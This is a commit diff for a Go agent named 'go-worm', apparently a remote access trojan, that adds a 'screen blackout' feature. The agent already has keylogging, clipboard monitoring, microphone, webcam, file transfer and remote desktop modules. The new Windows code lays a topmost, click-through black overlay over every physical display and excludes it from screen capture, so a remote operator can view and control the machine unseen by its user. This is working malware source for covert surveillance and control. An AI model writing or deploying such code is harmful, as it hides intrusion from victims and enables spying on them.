feat(agent): add screen blackout feature
- Physical displays blanked via overlay - Remote video and input keep working - Exclude overlay from screen capture - Add blackout API and UI toggle - Wire flag through capture protocol
This commit is contained in:
@@ -11,6 +11,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
@@ -75,6 +76,7 @@ func New(cfg Config) (*Agent, error) {
|
||||
func (a *Agent) Close() {
|
||||
clipmon.Stop()
|
||||
keylog.Stop()
|
||||
blackout.Stop()
|
||||
capture.Stop()
|
||||
mic.Stop()
|
||||
if a.guard != nil {
|
||||
@@ -95,6 +97,7 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/download", a.handleDownload)
|
||||
mux.HandleFunc("/api/v1/upload", a.handleUpload)
|
||||
mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
|
||||
mux.HandleFunc("/api/v1/blackout", a.handleBlackout)
|
||||
mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
|
||||
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
||||
mux.HandleFunc("/api/v1/mic", a.handleMic)
|
||||
|
||||
@@ -14,6 +14,7 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/capture"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/command"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
@@ -409,9 +410,37 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("X-Monitor-Top", strconv.Itoa(frame.Top))
|
||||
w.Header().Set("X-Monitor-Width", strconv.Itoa(frame.Width))
|
||||
w.Header().Set("X-Monitor-Height", strconv.Itoa(frame.Height))
|
||||
if blackout.Enabled() {
|
||||
w.Header().Set("X-Screen-Blackout", "1")
|
||||
}
|
||||
_, _ = w.Write(frame.Data)
|
||||
}
|
||||
|
||||
func (a *Agent) handleBlackout(w http.ResponseWriter, r *http.Request) {
|
||||
switch r.Method {
|
||||
case http.MethodGet:
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
|
||||
case http.MethodPut:
|
||||
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||
defer r.Body.Close()
|
||||
var body struct {
|
||||
Enabled *bool `json:"enabled"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Enabled == nil {
|
||||
helpers.WriteError(w, http.StatusBadRequest, "enabled is required")
|
||||
return
|
||||
}
|
||||
if err := blackout.Set(*body.Enabled); err != nil {
|
||||
helpers.Log.Printf("blackout: %v", err)
|
||||
helpers.WriteError(w, http.StatusServiceUnavailable, err.Error())
|
||||
return
|
||||
}
|
||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"enabled": blackout.Enabled()})
|
||||
default:
|
||||
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func parseMicDevice(r *http.Request) (int, error) {
|
||||
device := 0
|
||||
if raw := r.URL.Query().Get("device"); raw != "" {
|
||||
|
||||
+27
-1
@@ -27,6 +27,7 @@
|
||||
const videoStop = document.getElementById("video-stop");
|
||||
const videoInteract = document.getElementById("video-interact");
|
||||
const videoKeyHint = document.getElementById("video-key-hint");
|
||||
const videoBlackout = document.getElementById("video-blackout");
|
||||
const webcamCanvas = document.getElementById("webcam-canvas");
|
||||
const webcamMeta = document.getElementById("webcam-meta");
|
||||
const webcamDevice = document.getElementById("webcam-device");
|
||||
@@ -680,7 +681,7 @@
|
||||
const width = bitmap.width;
|
||||
const height = bitmap.height;
|
||||
bitmap.close();
|
||||
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}`;
|
||||
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}${res.headers.get("X-Screen-Blackout") === "1" ? " · blackout" : ""}`;
|
||||
}
|
||||
|
||||
async function sendClick(event, button) {
|
||||
@@ -737,6 +738,22 @@
|
||||
return false;
|
||||
}
|
||||
|
||||
async function loadBlackout() {
|
||||
const res = await api("/api/v1/blackout");
|
||||
const data = await res.json();
|
||||
videoBlackout.checked = Boolean(data.enabled);
|
||||
}
|
||||
|
||||
async function setBlackoutEnabled(enabled) {
|
||||
const res = await api("/api/v1/blackout", {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ enabled }),
|
||||
});
|
||||
const data = await res.json();
|
||||
videoBlackout.checked = Boolean(data.enabled);
|
||||
}
|
||||
|
||||
function setVideoTabActive(active) {
|
||||
if (videoTabActive === active) return;
|
||||
videoTabActive = active;
|
||||
@@ -920,6 +937,9 @@
|
||||
document.getElementById(button.dataset.tab).classList.add("active");
|
||||
const onVideo = button.dataset.tab === "video";
|
||||
setVideoTabActive(onVideo);
|
||||
if (onVideo) {
|
||||
loadBlackout().catch((err) => showError(err.message));
|
||||
}
|
||||
if (!onVideo) {
|
||||
stopVideo();
|
||||
}
|
||||
@@ -1028,6 +1048,12 @@
|
||||
sendClick(event, "right").catch((err) => showError(err.message));
|
||||
});
|
||||
videoInteract.addEventListener("change", () => syncInteractable());
|
||||
videoBlackout.addEventListener("change", () => {
|
||||
setBlackoutEnabled(videoBlackout.checked).catch((err) => {
|
||||
videoBlackout.checked = !videoBlackout.checked;
|
||||
showError(err.message);
|
||||
});
|
||||
});
|
||||
document.querySelectorAll(".mod-btn").forEach((button) => {
|
||||
button.addEventListener("click", () => {
|
||||
if (!videoInteract.checked) return;
|
||||
|
||||
@@ -819,7 +819,7 @@
|
||||
<div class="panel-head">
|
||||
<div>
|
||||
<h2>Remote desktop</h2>
|
||||
<p class="lede">Live monitor stream. Interaction is off until you enable it.</p>
|
||||
<p class="lede">Live monitor stream. Interaction is off until you enable it. Black out screen blanks the physical displays; remote view and control keep working.</p>
|
||||
</div>
|
||||
<div class="panel-actions">
|
||||
<button id="video-start" class="primary" type="button">Start</button>
|
||||
@@ -841,6 +841,10 @@
|
||||
<input id="video-interact" type="checkbox">
|
||||
Interactable
|
||||
</label>
|
||||
<label class="check">
|
||||
<input id="video-blackout" type="checkbox">
|
||||
Black out screen
|
||||
</label>
|
||||
</div>
|
||||
<div class="stage">
|
||||
<canvas id="video-canvas" class="view-only" width="1280" height="720"></canvas>
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
package blackout
|
||||
|
||||
func Enabled() bool { return running() }
|
||||
|
||||
func Set(on bool) error {
|
||||
if on {
|
||||
return start()
|
||||
}
|
||||
stop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func Stop() { stop() }
|
||||
@@ -0,0 +1,10 @@
|
||||
package blackout
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestDisabledByDefault(t *testing.T) {
|
||||
t.Parallel()
|
||||
if Enabled() {
|
||||
t.Fatal("blackout should start off")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package blackout
|
||||
|
||||
import "errors"
|
||||
|
||||
func running() bool { return false }
|
||||
|
||||
func start() error {
|
||||
return errors.New("monitor blackout is only available on Windows")
|
||||
}
|
||||
|
||||
func stop() {}
|
||||
@@ -0,0 +1,372 @@
|
||||
//go:build windows
|
||||
|
||||
package blackout
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/screenshot"
|
||||
)
|
||||
|
||||
const (
|
||||
className = "win64_mp_blackout"
|
||||
|
||||
wsPopup = 0x80000000
|
||||
|
||||
wsExLayered = 0x00080000
|
||||
wsExTransparent = 0x00000020
|
||||
wsExTopmost = 0x00000008
|
||||
wsExToolwindow = 0x00000080
|
||||
wsExNoActivate = 0x08000000
|
||||
layeredEx = wsExLayered | wsExTransparent | wsExTopmost | wsExToolwindow | wsExNoActivate
|
||||
|
||||
swShowNoActivate = 4
|
||||
swpNoActivate = 0x0010
|
||||
swpNoMove = 0x0002
|
||||
swpNoSize = 0x0001
|
||||
swpShowWindow = 0x0040
|
||||
|
||||
lwaAlpha = 0x00000002
|
||||
wdaExcludeFromCapture = 0x00000011
|
||||
blackBrush = 4
|
||||
errorClassAlreadyExists = 1410
|
||||
htTransparent = 0xFFFFFFFF
|
||||
maNoActivate = 3
|
||||
wmQuit = 0x0012
|
||||
wmNcHitTest = 0x0084
|
||||
wmMouseActivate = 0x0021
|
||||
wmDisplayChange = 0x007E
|
||||
wmUser = 0x0400
|
||||
wmRebuild = wmUser + 1
|
||||
hwndTopmost = ^uintptr(0) // HWND_TOPMOST
|
||||
)
|
||||
|
||||
type wndClassEx struct {
|
||||
Size uint32
|
||||
Style uint32
|
||||
WndProc uintptr
|
||||
ClsExtra int32
|
||||
WndExtra int32
|
||||
Instance uintptr
|
||||
Icon uintptr
|
||||
Cursor uintptr
|
||||
Background uintptr
|
||||
MenuName *uint16
|
||||
ClassName *uint16
|
||||
IconSm uintptr
|
||||
}
|
||||
|
||||
type msg struct {
|
||||
HWnd uintptr
|
||||
Message uint32
|
||||
WParam uintptr
|
||||
LParam uintptr
|
||||
Time uint32
|
||||
Pt struct{ X, Y int32 }
|
||||
}
|
||||
|
||||
type overlayRect struct {
|
||||
left, top, width, height int
|
||||
}
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||
kernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procRegisterClassExW = user32.NewProc("RegisterClassExW")
|
||||
procCreateWindowExW = user32.NewProc("CreateWindowExW")
|
||||
procDestroyWindow = user32.NewProc("DestroyWindow")
|
||||
procShowWindow = user32.NewProc("ShowWindow")
|
||||
procSetWindowPos = user32.NewProc("SetWindowPos")
|
||||
procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes")
|
||||
procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity")
|
||||
procDefWindowProcW = user32.NewProc("DefWindowProcW")
|
||||
procGetMessageW = user32.NewProc("GetMessageW")
|
||||
procTranslateMessage = user32.NewProc("TranslateMessage")
|
||||
procDispatchMessageW = user32.NewProc("DispatchMessageW")
|
||||
procPostThreadMessageW = user32.NewProc("PostThreadMessageW")
|
||||
procGetStockObject = gdi32.NewProc("GetStockObject")
|
||||
procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW")
|
||||
procGetCurrentThreadId = kernel32.NewProc("GetCurrentThreadId")
|
||||
|
||||
// ponytail: NewCallback is never freed; one wndproc for the process.
|
||||
wndProcCB = syscall.NewCallback(overlayWndProc)
|
||||
|
||||
mu sync.Mutex
|
||||
active bool
|
||||
threadID uint32
|
||||
loopDone chan struct{}
|
||||
hwnds []uintptr
|
||||
classAtom uint16
|
||||
classUTF16 *uint16
|
||||
)
|
||||
|
||||
func init() {
|
||||
if unsafe.Sizeof(wndClassEx{}) != 80 {
|
||||
panic(fmt.Sprintf("wndClassEx must be 80 bytes on amd64, got %d", unsafe.Sizeof(wndClassEx{})))
|
||||
}
|
||||
}
|
||||
|
||||
func running() bool {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return active
|
||||
}
|
||||
|
||||
func start() error {
|
||||
mu.Lock()
|
||||
if active {
|
||||
mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
done := make(chan struct{})
|
||||
ready := make(chan error, 1)
|
||||
loopDone = done
|
||||
mu.Unlock()
|
||||
|
||||
go func() {
|
||||
defer close(done)
|
||||
defer helpers.RecoverLog("blackout")
|
||||
runOverlayLoop(ready)
|
||||
}()
|
||||
|
||||
select {
|
||||
case err := <-ready:
|
||||
if err != nil {
|
||||
<-done
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
case <-time.After(5 * time.Second):
|
||||
stop()
|
||||
return errors.New("monitor blackout did not start")
|
||||
}
|
||||
}
|
||||
|
||||
func stop() {
|
||||
mu.Lock()
|
||||
tid := threadID
|
||||
done := loopDone
|
||||
mu.Unlock()
|
||||
if tid != 0 {
|
||||
_, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmQuit, 0, 0)
|
||||
}
|
||||
if done != nil {
|
||||
<-done
|
||||
}
|
||||
}
|
||||
|
||||
func runOverlayLoop(ready chan<- error) {
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
defer func() {
|
||||
destroyOverlays()
|
||||
mu.Lock()
|
||||
active = false
|
||||
threadID = 0
|
||||
loopDone = nil
|
||||
mu.Unlock()
|
||||
}()
|
||||
|
||||
tid, _, _ := procGetCurrentThreadId.Call()
|
||||
mu.Lock()
|
||||
threadID = uint32(tid)
|
||||
mu.Unlock()
|
||||
|
||||
if err := registerClass(); err != nil {
|
||||
ready <- err
|
||||
return
|
||||
}
|
||||
if err := createOverlays(); err != nil {
|
||||
ready <- err
|
||||
return
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
active = true
|
||||
mu.Unlock()
|
||||
ready <- nil
|
||||
|
||||
ticker := time.NewTicker(time.Second)
|
||||
defer ticker.Stop()
|
||||
stopTop := make(chan struct{})
|
||||
defer close(stopTop)
|
||||
go func() {
|
||||
defer helpers.RecoverLog("blackout-top")
|
||||
for {
|
||||
select {
|
||||
case <-stopTop:
|
||||
return
|
||||
case <-ticker.C:
|
||||
mu.Lock()
|
||||
on := active
|
||||
ids := append([]uintptr(nil), hwnds...)
|
||||
mu.Unlock()
|
||||
if !on {
|
||||
return
|
||||
}
|
||||
for _, hwnd := range ids {
|
||||
_, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, 0, 0, 0, 0, swpNoMove|swpNoSize|swpNoActivate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
var m msg
|
||||
for {
|
||||
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
|
||||
v := int32(ret)
|
||||
if v == 0 || v == -1 {
|
||||
return
|
||||
}
|
||||
if m.HWnd == 0 && m.Message == wmRebuild {
|
||||
_ = createOverlays()
|
||||
continue
|
||||
}
|
||||
_, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
|
||||
_, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
|
||||
}
|
||||
}
|
||||
|
||||
func registerClass() error {
|
||||
if classAtom != 0 {
|
||||
return nil
|
||||
}
|
||||
name, err := syscall.UTF16PtrFromString(className)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
classUTF16 = name
|
||||
inst, _, _ := procGetModuleHandleW.Call(0)
|
||||
brush, _, _ := procGetStockObject.Call(blackBrush)
|
||||
wc := wndClassEx{
|
||||
Size: uint32(unsafe.Sizeof(wndClassEx{})),
|
||||
WndProc: wndProcCB,
|
||||
Instance: inst,
|
||||
Background: brush,
|
||||
ClassName: name,
|
||||
}
|
||||
atom, _, callErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc)))
|
||||
if atom == 0 {
|
||||
if errno, ok := callErr.(syscall.Errno); ok && errno == errorClassAlreadyExists {
|
||||
classAtom = 1
|
||||
return nil
|
||||
}
|
||||
if callErr != nil && callErr != syscall.Errno(0) {
|
||||
return callErr
|
||||
}
|
||||
return errors.New("RegisterClassEx failed")
|
||||
}
|
||||
classAtom = uint16(atom)
|
||||
return nil
|
||||
}
|
||||
|
||||
func monitorRects() ([]overlayRect, error) {
|
||||
var out []overlayRect
|
||||
for i := 0; i < 64; i++ {
|
||||
left, top, width, height, err := screenshot.MonitorBounds(i)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
if width < 1 || height < 1 {
|
||||
continue
|
||||
}
|
||||
out = append(out, overlayRect{left, top, width, height})
|
||||
}
|
||||
if len(out) == 0 {
|
||||
return nil, errors.New("no displays found")
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func createOverlays() error {
|
||||
destroyOverlays()
|
||||
rects, err := monitorRects()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
inst, _, _ := procGetModuleHandleW.Call(0)
|
||||
var created []uintptr
|
||||
for _, r := range rects {
|
||||
hwnd, err := createOverlay(inst, r)
|
||||
if err != nil {
|
||||
for _, h := range created {
|
||||
_, _, _ = procDestroyWindow.Call(h)
|
||||
}
|
||||
return err
|
||||
}
|
||||
created = append(created, hwnd)
|
||||
}
|
||||
mu.Lock()
|
||||
hwnds = created
|
||||
mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
func createOverlay(inst uintptr, r overlayRect) (uintptr, error) {
|
||||
hwnd, _, callErr := procCreateWindowExW.Call(
|
||||
layeredEx,
|
||||
uintptr(unsafe.Pointer(classUTF16)),
|
||||
0,
|
||||
wsPopup,
|
||||
uintptr(int32(r.left)),
|
||||
uintptr(int32(r.top)),
|
||||
uintptr(int32(r.width)),
|
||||
uintptr(int32(r.height)),
|
||||
0, 0, inst, 0,
|
||||
)
|
||||
if hwnd == 0 {
|
||||
if callErr != nil && callErr != syscall.Errno(0) {
|
||||
return 0, callErr
|
||||
}
|
||||
return 0, errors.New("CreateWindowEx failed")
|
||||
}
|
||||
ok, _, affErr := procSetWindowDisplayAffinity.Call(hwnd, wdaExcludeFromCapture)
|
||||
if ok == 0 {
|
||||
_, _, _ = procDestroyWindow.Call(hwnd)
|
||||
if affErr != nil && affErr != syscall.Errno(0) {
|
||||
return 0, fmt.Errorf("exclude overlay from capture: %w", affErr)
|
||||
}
|
||||
return 0, errors.New("exclude overlay from capture failed")
|
||||
}
|
||||
_, _, _ = procSetLayeredWindowAttributes.Call(hwnd, 0, 255, lwaAlpha)
|
||||
_, _, _ = procSetWindowPos.Call(hwnd, hwndTopmost, uintptr(int32(r.left)), uintptr(int32(r.top)), uintptr(int32(r.width)), uintptr(int32(r.height)), swpNoActivate|swpShowWindow)
|
||||
_, _, _ = procShowWindow.Call(hwnd, swShowNoActivate)
|
||||
return hwnd, nil
|
||||
}
|
||||
|
||||
func destroyOverlays() {
|
||||
mu.Lock()
|
||||
ids := hwnds
|
||||
hwnds = nil
|
||||
mu.Unlock()
|
||||
for _, hwnd := range ids {
|
||||
_, _, _ = procDestroyWindow.Call(hwnd)
|
||||
}
|
||||
}
|
||||
|
||||
func overlayWndProc(hwnd, message, wparam, lparam uintptr) uintptr {
|
||||
switch message {
|
||||
case wmNcHitTest:
|
||||
return htTransparent
|
||||
case wmMouseActivate:
|
||||
return maNoActivate
|
||||
case wmDisplayChange:
|
||||
mu.Lock()
|
||||
tid := threadID
|
||||
mu.Unlock()
|
||||
if tid != 0 {
|
||||
_, _, _ = procPostThreadMessageW.Call(uintptr(tid), wmRebuild, 0, 0)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
ret, _, _ := procDefWindowProcW.Call(hwnd, message, wparam, lparam)
|
||||
return ret
|
||||
}
|
||||
@@ -12,6 +12,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/blackout"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||
@@ -80,7 +81,7 @@ func (h *helper) grab(index int, format string, quality int) (models.CapturedIma
|
||||
deadline := time.Now().Add(config.CaptureTimeout)
|
||||
_ = h.stdin.SetWriteDeadline(deadline)
|
||||
_ = h.stdout.SetReadDeadline(deadline)
|
||||
if err := writeRequest(h.stdin, index, format, quality); err != nil {
|
||||
if err := writeRequest(h.stdin, index, format, quality, blackout.Enabled()); err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
img, err := readResponse(h.reader)
|
||||
|
||||
@@ -18,7 +18,7 @@ func RunHelper() int {
|
||||
in := bufio.NewReader(os.Stdin)
|
||||
out := bufio.NewWriter(os.Stdout)
|
||||
for {
|
||||
monitor, format, quality, err := readRequest(in)
|
||||
monitor, format, quality, omitLayered, err := readRequest(in)
|
||||
if err == io.EOF {
|
||||
return 0
|
||||
}
|
||||
@@ -27,7 +27,7 @@ func RunHelper() int {
|
||||
_ = out.Flush()
|
||||
return 1
|
||||
}
|
||||
img, err := grab(monitor, format, quality)
|
||||
img, err := grab(monitor, format, quality, omitLayered)
|
||||
if err != nil {
|
||||
if werr := writeErr(out, err.Error()); werr != nil {
|
||||
return 1
|
||||
@@ -46,11 +46,12 @@ func RunHelper() int {
|
||||
}
|
||||
}
|
||||
|
||||
func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) {
|
||||
func grab(monitor int, format string, quality int, omitLayered bool) (img models.CapturedImage, err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
}
|
||||
}()
|
||||
screenshot.SetOmitLayered(omitLayered)
|
||||
return screenshot.CaptureMonitor(monitor, format, quality)
|
||||
}
|
||||
|
||||
+17
-9
@@ -14,30 +14,38 @@ import (
|
||||
|
||||
var ErrMonitorNotFound = errors.New("monitor not found")
|
||||
|
||||
func writeRequest(w io.Writer, monitor int, format string, quality int) error {
|
||||
_, err := fmt.Fprintf(w, "C %d %s %d\n", monitor, format, quality)
|
||||
func writeRequest(w io.Writer, monitor int, format string, quality int, omitLayered bool) error {
|
||||
flag := 0
|
||||
if omitLayered {
|
||||
flag = 1
|
||||
}
|
||||
_, err := fmt.Fprintf(w, "C %d %s %d %d\n", monitor, format, quality, flag)
|
||||
return err
|
||||
}
|
||||
|
||||
func readRequest(r *bufio.Reader) (monitor int, format string, quality int, err error) {
|
||||
func readRequest(r *bufio.Reader) (monitor int, format string, quality int, omitLayered bool, err error) {
|
||||
line, err := r.ReadString('\n')
|
||||
if err != nil {
|
||||
return 0, "", 0, err
|
||||
return 0, "", 0, false, err
|
||||
}
|
||||
fields := strings.Fields(strings.TrimSpace(line))
|
||||
if len(fields) != 4 || fields[0] != "C" {
|
||||
return 0, "", 0, errors.New("bad capture request")
|
||||
if len(fields) != 5 || fields[0] != "C" {
|
||||
return 0, "", 0, false, errors.New("bad capture request")
|
||||
}
|
||||
monitor, err = strconv.Atoi(fields[1])
|
||||
if err != nil {
|
||||
return 0, "", 0, err
|
||||
return 0, "", 0, false, err
|
||||
}
|
||||
format = fields[2]
|
||||
quality, err = strconv.Atoi(fields[3])
|
||||
if err != nil {
|
||||
return 0, "", 0, err
|
||||
return 0, "", 0, false, err
|
||||
}
|
||||
return monitor, format, quality, nil
|
||||
flag, err := strconv.Atoi(fields[4])
|
||||
if err != nil {
|
||||
return 0, "", 0, false, err
|
||||
}
|
||||
return monitor, format, quality, flag != 0, nil
|
||||
}
|
||||
|
||||
func writeFrame(w io.Writer, img models.CapturedImage) error {
|
||||
|
||||
@@ -11,15 +11,15 @@ import (
|
||||
func TestCaptureProtocolRoundTrip(t *testing.T) {
|
||||
t.Parallel()
|
||||
var buf bytes.Buffer
|
||||
if err := writeRequest(&buf, 1, "jpeg", 40); err != nil {
|
||||
if err := writeRequest(&buf, 1, "jpeg", 40, true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
mon, format, quality, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes())))
|
||||
mon, format, quality, omit, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes())))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if mon != 1 || format != "jpeg" || quality != 40 {
|
||||
t.Fatalf("request = %d %s %d", mon, format, quality)
|
||||
if mon != 1 || format != "jpeg" || quality != 40 || !omit {
|
||||
t.Fatalf("request = %d %s %d omit=%v", mon, format, quality, omit)
|
||||
}
|
||||
|
||||
buf.Reset()
|
||||
|
||||
@@ -172,6 +172,7 @@ func Spec() map[string]any {
|
||||
"X-Monitor-Top": map[string]any{"schema": map[string]string{"type": "integer"}},
|
||||
"X-Monitor-Width": map[string]any{"schema": map[string]string{"type": "integer"}},
|
||||
"X-Monitor-Height": map[string]any{"schema": map[string]string{"type": "integer"}},
|
||||
"X-Screen-Blackout": map[string]any{"schema": map[string]string{"type": "string"}, "description": "1 when physical monitors are blacked out"},
|
||||
},
|
||||
"content": map[string]any{
|
||||
"image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}},
|
||||
@@ -183,6 +184,26 @@ func Spec() map[string]any {
|
||||
}),
|
||||
},
|
||||
},
|
||||
"/api/v1/blackout": map[string]any{
|
||||
"get": map[string]any{
|
||||
"summary": "Read physical monitor blackout",
|
||||
"operationId": "getBlackout",
|
||||
"responses": auth(map[string]any{
|
||||
"200": okJSON("Blackout state", ref("BlackoutState")),
|
||||
}),
|
||||
},
|
||||
"put": map[string]any{
|
||||
"summary": "Black out physical monitors",
|
||||
"operationId": "setBlackout",
|
||||
"description": "Covers physical displays with a click-through overlay excluded from capture. Remote video and input keep working.",
|
||||
"requestBody": jsonBody(ref("BlackoutUpdate")),
|
||||
"responses": auth(map[string]any{
|
||||
"200": okJSON("Blackout state", ref("BlackoutState")),
|
||||
"400": errResp("Invalid body"),
|
||||
"503": errResp("Blackout failed"),
|
||||
}),
|
||||
},
|
||||
},
|
||||
"/api/v1/webcam": map[string]any{
|
||||
"get": map[string]any{
|
||||
"summary": "List webcams",
|
||||
@@ -563,6 +584,19 @@ func Spec() map[string]any {
|
||||
"klogging": map[string]any{"type": "boolean"},
|
||||
},
|
||||
},
|
||||
"BlackoutState": map[string]any{
|
||||
"type": "object",
|
||||
"properties": map[string]any{
|
||||
"enabled": map[string]any{"type": "boolean"},
|
||||
},
|
||||
},
|
||||
"BlackoutUpdate": map[string]any{
|
||||
"type": "object",
|
||||
"required": []string{"enabled"},
|
||||
"properties": map[string]any{
|
||||
"enabled": map[string]any{"type": "boolean"},
|
||||
},
|
||||
},
|
||||
"ClickRequest": map[string]any{
|
||||
"type": "object", "required": []string{"x", "y", "button"},
|
||||
"properties": map[string]any{
|
||||
|
||||
@@ -11,8 +11,8 @@ func TestSpec(t *testing.T) {
|
||||
if !ok || len(paths) < 12 {
|
||||
t.Fatalf("expected at least 12 paths, got %d", len(paths))
|
||||
}
|
||||
if _, ok := paths["/api/v1/mic"]; !ok {
|
||||
t.Fatal("missing /api/v1/mic")
|
||||
if _, ok := paths["/api/v1/blackout"]; !ok {
|
||||
t.Fatal("missing /api/v1/blackout")
|
||||
}
|
||||
if _, ok := paths["/api/v1/watchdog"]; !ok {
|
||||
t.Fatal("missing /api/v1/watchdog")
|
||||
|
||||
@@ -16,6 +16,18 @@ import (
|
||||
|
||||
var ErrMonitorNotFound = errors.New("monitor not found")
|
||||
|
||||
const (
|
||||
srcCopy = 0x00CC0020
|
||||
captureBlt = 0x40000000
|
||||
)
|
||||
|
||||
var omitLayeredWindows bool
|
||||
|
||||
// SetOmitLayered skips CAPTUREBLT so WS_EX_LAYERED overlays (blackout) stay off the bitmap.
|
||||
func SetOmitLayered(omit bool) {
|
||||
omitLayeredWindows = omit
|
||||
}
|
||||
|
||||
var (
|
||||
user32 = syscall.NewLazyDLL("user32.dll")
|
||||
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||||
@@ -210,8 +222,11 @@ func captureRect(r rect) (*image.RGBA, error) {
|
||||
defer procDeleteObject.Call(bitmap)
|
||||
old, _, _ := procSelectObject.Call(memDC, bitmap)
|
||||
defer procSelectObject.Call(memDC, old)
|
||||
const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
|
||||
ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
|
||||
blit := uintptr(srcCopy)
|
||||
if !omitLayeredWindows {
|
||||
blit |= captureBlt
|
||||
}
|
||||
ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), blit)
|
||||
if ok == 0 {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user